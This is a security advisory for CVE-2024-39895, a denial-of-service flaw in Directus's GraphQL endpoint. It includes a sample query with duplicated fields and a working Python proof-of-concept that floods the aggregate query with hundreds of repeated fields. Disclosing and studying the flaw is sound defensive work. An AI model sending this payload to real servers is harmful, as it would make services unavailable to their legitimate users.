CVE-2024-39895
Directus GraphQL Field Duplication Denial of Service (DoS)
描述
### Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. ### Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:   By modifying the data sent and duplicating many times the fields a DoS attack is possible. ### PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. `{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}` Although that payload seems harmless, a bigger one leaves the service unresponsive. The following code might serve as a PoC written in Python3: ```# Field Duplication DoS # GitHub @asantof import requests ## CHANGE THIS VALUES: url, auth_token, query_name, collection_name url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = '' headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', } id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200 data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' } print(data) response = requests.post(url, headers=headers, json=data) print(response.json()) ```  After running it the service will be unresponsive for a while:  ### Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.